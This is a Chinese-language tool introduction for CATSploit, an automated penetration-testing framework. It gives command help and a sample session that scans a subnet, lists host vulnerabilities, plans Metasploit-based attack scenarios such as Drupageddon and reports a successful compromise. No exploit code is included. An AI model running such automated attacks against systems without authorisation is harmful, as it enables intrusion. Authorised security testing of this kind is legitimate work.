CATSploit：一款基于CATS的自动化渗透测试执行工具

$ git clone https://github.com/catsploit/catsploit.git

host list:show information about the hostsusage:  host list [-h]options:-h, --help       显示命令帮助信息和退出host detail:show more information about one hostusage:  host detail [-h] host_idpositional arguments:host_id          要查看信息的主机IDoptions:-h, --help       显示命令帮助信息和退出scenario list:show information about the scenariosusage:  scenario list [-h]options:-h, --help       显示命令帮助信息和退出scenario detail:show more information about one scenariousage:  scenario detail [-h] scenario_idpositional arguments:scenario_id      要查看信息的场景IDoptions:-h, --help       显示命令帮助信息和退出scan:run network-scan and security-scanusage:  scan [-h] [--port PORT] target_host [target_host ...]positional arguments:target_host      要扫描的IP地址options:-h, --help       显示命令帮助信息和退出--port PORT      要扫描的端口plan:planning attack scenariosusage:  plan [-h] src_host_id dst_host_idpositional arguments:src_host_id      源主机dst_host_id      目标主机options:-h, --help       显示命令帮助信息和退出attack:execute attack scenariousage:  attack [-h] scenario_idpositional arguments:scenario_id      需要执行的渗透测试场景IDoptions:-h, --help       显示命令帮助信息和退出post find-secret:find confidential information files that can be performed on the pwned hostusage:  post find-secret [-h] host_idpositional arguments:host_id          需要寻找凭证信息的主机IDoptions:-h, --help       显示命令帮助信息和退出reset:reset data on the serverusage:  reset [-h] {system} ...positional arguments:{system}         重置系统options:-h, --help  显示命令帮助信息和退出exit:exit CATSploitusage:  exit [-h]options:-h, --help  显示命令帮助信息和退出

catsploit> scan 192.168.0.0/24Network Scanning ... 100%[*] Total 2 hosts were discovered.Vulnerability Scanning ... 100%[*] Total 14 vulnerabilities were discovered.catsploit> host list┏━━━━━━━━━━┳━━━━━━━━━━━━━━━━┳━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━┓┃ hostID   ┃ IP             ┃ Hostname ┃ Platform                         ┃ Pwned ┃┡━━━━━━━━━━╇━━━━━━━━━━━━━━━━╇━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━┩│ attacker │ 0.0.0.0        │ kali     │ kali 2022.4                      │ True  ││ h_exbiy6 │ 192.168.0.10   │          │ Linux 3.10 - 4.11                │ False ││ h_nhqyfq │ 192.168.0.20   │          │ Microsoft Windows 7 SP1          │ False │└──────────┴────────────────┴──────────┴──────────────────────────────────┴───────┘catsploit> host detail h_exbiy6┏━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━┓┃ hostID   ┃ IP           ┃ Hostname ┃ Platform     ┃ Pwned ┃┡━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━┩│ h_exbiy6 │ 192.168.0.10 │ ubuntu   │ ubuntu 14.04 │ False │└──────────┴──────────────┴──────────┴──────────────┴───────┘[IP address]┏━━━━━━━━━━━━━━┳━━━━━━━━━━┳━━━━━━┳━━━━━━━━━━━━┓┃ ipv4         ┃ ipv4mask ┃ ipv6 ┃ ipv6prefix ┃┡━━━━━━━━━━━━━━╇━━━━━━━━━━╇━━━━━━╇━━━━━━━━━━━━┩│ 192.168.0.10 │          │      │            │└──────────────┴──────────┴──────┴────────────┘[Open ports]┏━━━━━━━━━━━━━━┳━━━━━━━┳━━━━━━┳━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓┃ ip           ┃ proto ┃ port ┃ service     ┃ product      ┃ version                    ┃┡━━━━━━━━━━━━━━╇━━━━━━━╇━━━━━━╇━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩│ 192.168.0.10 │ tcp   │ 21   │ ftp         │ ProFTPD      │ 1.3.5                      ││ 192.168.0.10 │ tcp   │ 22   │ ssh         │ OpenSSH      │ 6.6.1p1 Ubuntu 2ubuntu2.10 ││ 192.168.0.10 │ tcp   │ 80   │ http        │ Apache httpd │ 2.4.7                      ││ 192.168.0.10 │ tcp   │ 445  │ netbios-ssn │ Samba smbd   │ 3.X - 4.X                  ││ 192.168.0.10 │ tcp   │ 631  │ ipp         │ CUPS         │ 1.7                        │└──────────────┴───────┴──────┴─────────────┴──────────────┴────────────────────────────┘[Vulnerabilities]┏━━━━━━━━━━━━━━┳━━━━━━━┳━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┓┃ ip           ┃ proto ┃ port ┃ vuln_name                                                           ┃ cve            ┃┡━━━━━━━━━━━━━━╇━━━━━━━╇━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━┩│ 192.168.0.10 │ tcp   │ 0    │ TCP Timestamps Information Disclosure                               │ N/A            ││ 192.168.0.10 │ tcp   │ 21   │ FTP Unencrypted Cleartext Login                                     │ N/A            ││ 192.168.0.10 │ tcp   │ 22   │ Weak MAC Algorithm(s) Supported (SSH)                               │ N/A            ││ 192.168.0.10 │ tcp   │ 22   │ Weak Encryption Algorithm(s) Supported (SSH)                        │ N/A            ││ 192.168.0.10 │ tcp   │ 22   │ Weak Host Key Algorithm(s) (SSH)                                    │ N/A            ││ 192.168.0.10 │ tcp   │ 22   │ Weak Key Exchange (KEX) Algorithm(s) Supported (SSH)                │ N/A            ││ 192.168.0.10 │ tcp   │ 80   │ Test HTTP dangerous methods                                         │ N/A            ││ 192.168.0.10 │ tcp   │ 80   │ Drupal Core SQLi Vulnerability (SA-CORE-2014-005) - Active Check    │ CVE-2014-3704  ││ 192.168.0.10 │ tcp   │ 80   │ Drupal Coder RCE Vulnerability (SA-CONTRIB-2016-039) - Active Check │ N/A            ││ 192.168.0.10 │ tcp   │ 80   │ Sensitive File Disclosure (HTTP)                                    │ N/A            ││ 192.168.0.10 │ tcp   │ 80   │ Unprotected Web App / Device Installers (HTTP)                      │ N/A            ││ 192.168.0.10 │ tcp   │ 80   │ Cleartext Transmission of Sensitive Information via HTTP            │ N/A            ││ 192.168.0.10 │ tcp   │ 80   │ jQuery < 1.9.0 XSS Vulnerability                                    │ CVE-2012-6708  ││ 192.168.0.10 │ tcp   │ 80   │ jQuery < 1.6.3 XSS Vulnerability                                    │ CVE-2011-4969  ││ 192.168.0.10 │ tcp   │ 80   │ Drupal 7.0 Information Disclosure Vulnerability - Active Check      │ CVE-2011-3730  ││ 192.168.0.10 │ tcp   │ 631  │ SSL/TLS: Report Vulnerable Cipher Suites for HTTPS                  │ CVE-2016-2183  ││ 192.168.0.10 │ tcp   │ 631  │ SSL/TLS: Report Vulnerable Cipher Suites for HTTPS                  │ CVE-2016-6329  ││ 192.168.0.10 │ tcp   │ 631  │ SSL/TLS: Report Vulnerable Cipher Suites for HTTPS                  │ CVE-2020-12872 ││ 192.168.0.10 │ tcp   │ 631  │ SSL/TLS: Deprecated TLSv1.0 and TLSv1.1 Protocol Detection          │ CVE-2011-3389  ││ 192.168.0.10 │ tcp   │ 631  │ SSL/TLS: Deprecated TLSv1.0 and TLSv1.1 Protocol Detection          │ CVE-2015-0204  │└──────────────┴───────┴──────┴─────────────────────────────────────────────────────────────────────┴────────────────┘[Users]┏━━━━━━━━━━━┳━━━━━━━┓┃ user name ┃ group ┃┡━━━━━━━━━━━╇━━━━━━━┩└───────────┴───────┘catsploit> plan attacker h_exbiy6Planning attack scenario...100%[*] Done. 15 scenarios was planned.[*] To check each scenario, try 'scenario list' and/or 'scenario detail'.catsploit> scenario list┏━━━━━━━━━━━━━┳━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┳━━━━━━━┳━━━━━━━┳━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓┃ scenario id ┃ src host ip ┃ target host ip ┃ eVc   ┃ eVd   ┃ steps ┃ first attack step             ┃┡━━━━━━━━━━━━━╇━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━╇━━━━━━━╇━━━━━━━╇━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩│ 3d3ivc      │ 0.0.0.0     │ 192.168.0.10   │ 1.0   │ 32.0  │ 1     │ exploit/multi/http/jenkins_s… ││ 5gnsvh      │ 0.0.0.0     │ 192.168.0.10   │ 1.0   │ 53.76 │ 2     │ exploit/multi/http/jenkins_s… ││ 6nlxyc      │ 0.0.0.0     │ 192.168.0.10   │ 0.0   │ 48.32 │ 2     │ exploit/multi/http/jenkins_s… ││ 8jos4z      │ 0.0.0.0     │ 192.168.0.10   │ 0.7   │ 72.8  │ 2     │ exploit/multi/http/jenkins_s… ││ 8kmmts      │ 0.0.0.0     │ 192.168.0.10   │ 0.0   │ 32.0  │ 1     │ exploit/multi/elasticsearch/… ││ agjmma      │ 0.0.0.0     │ 192.168.0.10   │ 0.0   │ 24.0  │ 1     │ exploit/windows/http/managee… ││ joglhf      │ 0.0.0.0     │ 192.168.0.10   │ 70.0  │ 60.0  │ 1     │ auxiliary/scanner/ssh/ssh_lo… ││ rmgrof      │ 0.0.0.0     │ 192.168.0.10   │ 100.0 │ 32.0  │ 1     │ exploit/multi/http/drupal_dr… ││ xuowzk      │ 0.0.0.0     │ 192.168.0.10   │ 0.0   │ 24.0  │ 1     │ exploit/multi/http/struts_dm… ││ yttv51      │ 0.0.0.0     │ 192.168.0.10   │ 0.01  │ 53.76 │ 2     │ exploit/multi/http/jenkins_s… ││ znv76x      │ 0.0.0.0     │ 192.168.0.10   │ 0.01  │ 53.76 │ 2     │ exploit/multi/http/jenkins_s… │└─────────────┴─────────────┴────────────────┴───────┴───────┴───────┴───────────────────────────────┘catsploit> scenario detail rmgrof┏━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┳━━━━━━━┳━━━━━━┓┃ src host ip ┃ target host ip ┃ eVc   ┃ eVd  ┃┡━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━╇━━━━━━━╇━━━━━━┩│ 0.0.0.0     │ 192.168.0.10   │ 100.0 │ 32.0 │└─────────────┴────────────────┴───────┴──────┘[Steps]┏━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━┓┃ # ┃ step                                  ┃ params                ┃┡━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━┩│ 1 │ exploit/multi/http/drupal_drupageddon │ RHOSTS: 192.168.0.10  ││   │                                       │ LHOST: 192.168.10.100 │└───┴───────────────────────────────────────┴───────────────────────┘catsploit> attack rmgrof> ~> ~> Metasploit Console Log> ~> ~[+] Attack scenario succeeded!catsploit> exitBye.